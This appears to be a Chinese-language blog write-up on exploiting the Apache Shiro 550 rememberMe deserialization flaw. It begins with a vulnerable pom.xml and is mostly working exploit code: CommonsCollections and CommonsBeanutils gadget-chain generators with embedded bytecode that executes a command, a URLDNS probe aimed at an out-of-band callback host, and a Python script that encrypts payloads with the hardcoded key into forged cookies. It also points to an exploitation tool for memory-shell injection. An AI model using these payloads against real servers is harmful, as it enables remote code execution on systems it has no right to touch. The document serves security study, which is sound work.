1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 <?xml version="1.0" encoding="UTF-8" ?> <project xmlns ="http://maven.apache.org/POM/4.0.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd" > <parent > <groupId > org.apache.shiro</groupId > <artifactId > shiro-root</artifactId > <version > 1.2.4</version > <relativePath > ../pom.xml</relativePath > </parent > <modelVersion > 4.0.0</modelVersion > <artifactId > shiro-web</artifactId > <name > Apache Shiro :: Web</name > <packaging > bundle</packaging > <dependencies > <dependency > <groupId > commons-beanutils</groupId > <artifactId > commons-beanutils-core</artifactId > <version > 1.8.3</version > </dependency > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency > <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.25.0-GA</version > </dependency > <dependency > <groupId > org.apache.shiro</groupId > <artifactId > shiro-core</artifactId > </dependency > <dependency > <groupId > javax.servlet.jsp</groupId > <artifactId > jsp-api</artifactId > </dependency > <dependency > <groupId > javax.servlet</groupId > <artifactId > jstl</artifactId > <version > 1.2</version > <scope > runtime</scope > </dependency > <dependency > <groupId > javax.servlet</groupId > <artifactId > servlet-api</artifactId > </dependency > <dependency > <groupId > org.apache.shiro</groupId > <artifactId > shiro-core</artifactId > <type > test-jar</type > <scope > test</scope > </dependency > <dependency > <groupId > org.slf4j</groupId > <artifactId > jcl-over-slf4j</artifactId > </dependency > <dependency > <groupId > org.slf4j</groupId > <artifactId > slf4j-log4j12</artifactId > </dependency > <dependency > <groupId > log4j</groupId > <artifactId > log4j</artifactId > </dependency > <dependency > <groupId > commons-io</groupId > <artifactId > commons-io</artifactId > <version > 20030203.000550</version > <scope > compile</scope > </dependency > </dependencies > <build > <plugins > <plugin > <groupId > org.apache.felix</groupId > <artifactId > maven-bundle-plugin</artifactId > <extensions > true</extensions > <configuration > <instructions > <Bundle-SymbolicName > org.apache.shiro.web</Bundle-SymbolicName > <Export-Package > org.apache.shiro.web*;version=${project.version}</Export-Package > <Import-Package > org.apache.shiro*;version="${shiro.osgi.importRange}", javax.servlet.jsp*;resolution:=optional, * </Import-Package > </instructions > </configuration > </plugin > <plugin > <groupId > org.apache.maven.plugins</groupId > <artifactId > maven-compiler-plugin</artifactId > <configuration > <source > 8</source > <target > 8</target > </configuration > </plugin > </plugins > </build > </project >
Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字段中
在shiro1.2.4及其之前版本有一个默认且固定的加密Key,导致攻击者可以伪造任意的rememberMe Cookie进而触发反序列化漏洞,这就是大名鼎鼎的shiro550
shiro<=1.2.4的版本中,这个固定的key位于org.apache.shiro.mgt.AbstractRememberMeManager
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public abstract class AbstractRememberMeManager implements RememberMeManager { private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class); private static final byte [] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==" );
利用了shiro内置的类进行加密,具体的伪造流程为
1 2 3 4 5 6 byte [] payloads = new cb1 ().getPayload();AesCipherService aes = new AesCipherService ();byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" );ByteSource ciphertext = aes.encrypt(payloads, key);System.out.printf(ciphertext.toString());
shiro的特征,可以通过返回包有无deleteMe来判断payload是否被反序列化
未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
反序列化用TemplatesImpl
来传入字节码加载,但是如果使用Transformer数组则会报错
原因是在shiro反序列化过程中
DefaultSerializer#deserialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public T deserialize (byte [] serialized) throws SerializationException { if (serialized == null ) { String msg = "argument cannot be null." ; throw new IllegalArgumentException (msg); } ByteArrayInputStream bais = new ByteArrayInputStream (serialized); BufferedInputStream bis = new BufferedInputStream (bais); try { ObjectInputStream ois = new ClassResolvingObjectInputStream (bis); @SuppressWarnings({"unchecked"}) T deserialized = (T) ois.readObject(); ois.close(); return deserialized; } catch (Exception e) { String msg = "Unable to deserialze argument byte array." ; throw new SerializationException (msg, e); } }
ClassResolvingObjectInputStream#resolveClass
resolveClass方法在反序列化时调用,而在shiro中被重写成return ClassUtils.forName(osc.getName());
导致无法加载除java本身外的数组的
1 2 3 4 5 6 7 8 @Override protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException { try { return ClassUtils.forName(osc.getName()); } catch (UnknownClassException e) { throw new ClassNotFoundException ("Unable to load ObjectStreamClass [" + osc + "]: " , e); } }
CC 添加cc依赖的话
poc1 想要不使用数组的关键就是省略ConstantTransformer
我们在cc3中传入的transformers其实就两个元素
1 2 3 4 5 6 7 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter" )), new InstantiateTransformer ( new Class []{Templates.class}, new Object []{templates} ) };
在分析的cc3结合cc6LazyMap
那条链中调用到了LazyMap.get()
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
正常情况下factory为Chainedtransformer
,然后调用它的transform依次执行数组的transform
但是仔细看这里已经传入一个key了,那我们可以直接把key替换成Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")
来代替ConstantTransformer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class CC6 { public byte [] getPayload() throws Exception{ byte [] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg==" ); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates,"_bytecodes" ,new byte [][]{code}); setFieldValue(templates,"_name" ,"feng" ); Transformer fakeTransformers = new ConstantTransformer (1 ); Transformer trueTransformers = new InstantiateTransformer ( new Class []{Templates.class}, new Object []{templates} ); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap,fakeTransformers); TiedMapEntry tiedMapEntry = new TiedMapEntry (outerMap,Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter" )); Map expMap = new HashMap (); expMap.put(tiedMapEntry,"feng2" ); outerMap.clear(); Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap" ); Field factoryField = clazz.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(outerMap,trueTransformers); byte [] bytes = serialize(expMap); return bytes; } public static void unserialize (byte [] bytes) throws Exception{ try (ByteArrayInputStream bain = new ByteArrayInputStream (bytes); ObjectInputStream oin = new ObjectInputStream (bain)){ oin.readObject(); } } public static byte [] serialize(Object o) throws Exception{ try (ByteArrayOutputStream baout = new ByteArrayOutputStream (); ObjectOutputStream oout = new ObjectOutputStream (baout)){ oout.writeObject(o); return baout.toByteArray(); } } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj,value); } }
generate.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import cb1.*;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import java.util.Base64;public class generate { public static void main (String[] args) throws Exception{ createPayload(); } public static void createPayload () throws Exception{ byte [] payloads = new CC6 ().getPayload(); AesCipherService aes = new AesCipherService (); byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" ); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } }
poc2 如果InvokerTransformer
也可以用,那就有更简单的方法
用类似cc2的方法直接调用TemplatesImpl#newTransformer动态加载字节码
把LazyMap
的this.factory
设置为InvokerTransformer
,并将key设置为TemplatesImpl
,
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 package com.govuln.shiroattack;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class cc6b { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public byte [] getPayload(byte [] clazzBytes) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{clazzBytes}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); Transformer transformer = new InvokerTransformer ("getClass" , null , null ); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (outerMap, obj); Map expMap = new HashMap (); expMap.put(tiedMapEntry, "aaaaa" ); outerMap.clear(); setFieldValue(transformer, "iMethodName" , "newTransformer" ); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(expMap); oos.close(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object) ois.readObject(); return barr.toByteArray(); } }
UrlDNS 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 package org.example;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class urldnsa { public static void main (String[] args) throws Exception { HashMap<URL, Integer> objectObjectHashMap = new HashMap <>(); URL url = new URL ("http://2mp5lum9tqcad43quh8yzi0lqcw5ku.oastify.com" ); Class<? extends URL > urlClass = url.getClass(); Field hashCodeField = urlClass.getDeclaredField("hashCode" ); hashCodeField.setAccessible(true ); hashCodeField.set(url,111 ); objectObjectHashMap.put(url,1 ); hashCodeField.set(url,-1 ); serilize(objectObjectHashMap); } public static void serilize (Object obj) throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); objectOutputStream.writeObject(obj); } public static Object unserilize (String Filename) throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream (Filename)); Object o = objectInputStream.readObject(); return o; } }
py脚本 ser.bin直接转化成payload的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import sysimport base64import uuidfrom Crypto.Cipher import AESdef get_file_data (filename ): with open (filename,"rb" ) as f: data = f.read() return data def aes_enc (data ): BS = AES.block_size pad = lambda s:s +((BS - len (s)% BS) * chr (BS-len (s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key),mode,iv) ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data))) return ciphertext def aes_dec (enc_data ): enc_data = base64.b64decode(enc_data) unpad = lambda s : s[:-s[-1 ]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16 ] encryptor = AES.new(base64.b64decode(key), mode, iv) plaintext = encryptor.decrypt(enc_data[16 :]) plaintext = unpad(plaintext) return plaintext if __name__ == '__main__' : data = get_file_data("ser.bin" ) print (aes_enc(data))
记得把Jessonid删掉再打才会返回deleteMe字段成功反序列化
CB 是shiro自带的依赖,先把cb依赖改成
1 2 3 4 5 <dependency > <groupId > commons-beanutils</groupId > <artifactId > commons-beanutils-core</artifactId > <version > 1.8.3</version > </dependency >
poc1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package evil;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.beanutils.BeanComparator;import java.util.PriorityQueue;public class cb1 { public static void main (String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath (AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");" ; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte [] classBytes = cc.toBytecode(); TemplatesImpl templates = new TemplatesImpl (); plu.setFieldValue(templates,"_bytecodes" ,new byte [][]{classBytes}); plu.setFieldValue(templates,"_name" ,"aaa" ); BeanComparator beanComparator = new BeanComparator ("outputProperties" ); PriorityQueue priorityQueue = new PriorityQueue (2 , beanComparator); plu.setFieldValue(priorityQueue,"queue" ,new Object []{templates,templates}); plu.setFieldValue(priorityQueue,"size" ,2 ); byte [] bytes = plu.serialize(priorityQueue); plu.unserialize(bytes); } }
用正常cb1直接打的话,由于我们没有给Comparator赋值直接生成BeanComparator ,在调用Comparator.compare方法的时候会把Comparator
默认赋值成ComparableComparator()
,然而这个东西是cc包里的的,可是我们没有加cc依赖,结果就报错
1 BeanComparator beanComparator = new BeanComparator("outputProperties");
那么我们就需要找一个满足以下三条件的Comparator
implements Comparator
implements Serializable
Java、shiro或commons-beanutils自带,不依赖额外的包
CaseInsensitiveComparator
是String
类中的静态类,通过获取String
的CASE_INSENSITIVE_ORDER
属性即可得到
1 2 3 4 private static class CaseInsensitiveComparator implements Comparator <String>, java.io.Serializable { private static final long serialVersionUID = 8575799808933029326L ;
1 2 public static final Comparator<String> CASE_INSENSITIVE_ORDER = new CaseInsensitiveComparator ();
构造的时候直接加上就可以
1 BeanComparator beanComparator = new BeanComparator ("outputProperties" ,String.CASE_INSENSITIVE_ORDER);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 package cb1;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.beanutils.BeanComparator;import java.util.Base64;import java.util.PriorityQueue;public class cb1 { public byte [] getPayload() throws Exception{ byte [] classBytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg==" ); TemplatesImpl templates = new TemplatesImpl (); plu.setFieldValue(templates,"_bytecodes" ,new byte [][]{classBytes}); plu.setFieldValue(templates,"_name" ,"aaa" ); plu.setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); BeanComparator beanComparator = new BeanComparator ("outputProperties" ,String.CASE_INSENSITIVE_ORDER); PriorityQueue priorityQueue = new PriorityQueue (2 , beanComparator); plu.setFieldValue(priorityQueue,"queue" ,new Object []{templates,templates}); plu.setFieldValue(priorityQueue,"size" ,2 ); byte [] bytes = plu.serialize(priorityQueue); return bytes; } }
private static class ReverseComparator
类同样可以
1 2 3 4 5 6 7 8 9 BeanComparator beanComparator = new BeanComparator ("outputProperties" , Collections.reverseOrder()); public static <T> Comparator<T> reverseOrder () { return (Comparator<T>) ReverseComparator.REVERSE_ORDER; } static final ReverseComparator REVERSE_ORDER = new ReverseComparator ();
Shiro不是遇到Tomcat就一定会有数组这个问题
Shiro-550的修复并不意味着反序列化漏洞的修复,只是默认Key被移除了
poc2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package cb1;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;import java.util.PriorityQueue;public class cb1fin { public static void main (String[] args) throws Exception{ byte [] classBytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg==" ); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" ,new byte [][]{classBytes}); setFieldValue(obj, "_name" , "aaaa" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); BeanComparator comparator = new BeanComparator (null ,String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add("1" ); queue.add("1" ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); byte [] payload= barr.toByteArray(); AesCipherService aes = new AesCipherService (); byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" ); ByteSource finalpayload = aes.encrypt(payload,key); System.out.println(finalpayload.toString()); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
工具 8u版本运行
shiro_attack_2.2
SummerSec/ShiroAttack2: shiro反序列化漏洞综合利用,包含(回显执行命令/注入内存马)修复原版中NoCC的问题 https://github.com/j1anFen/shiro_attack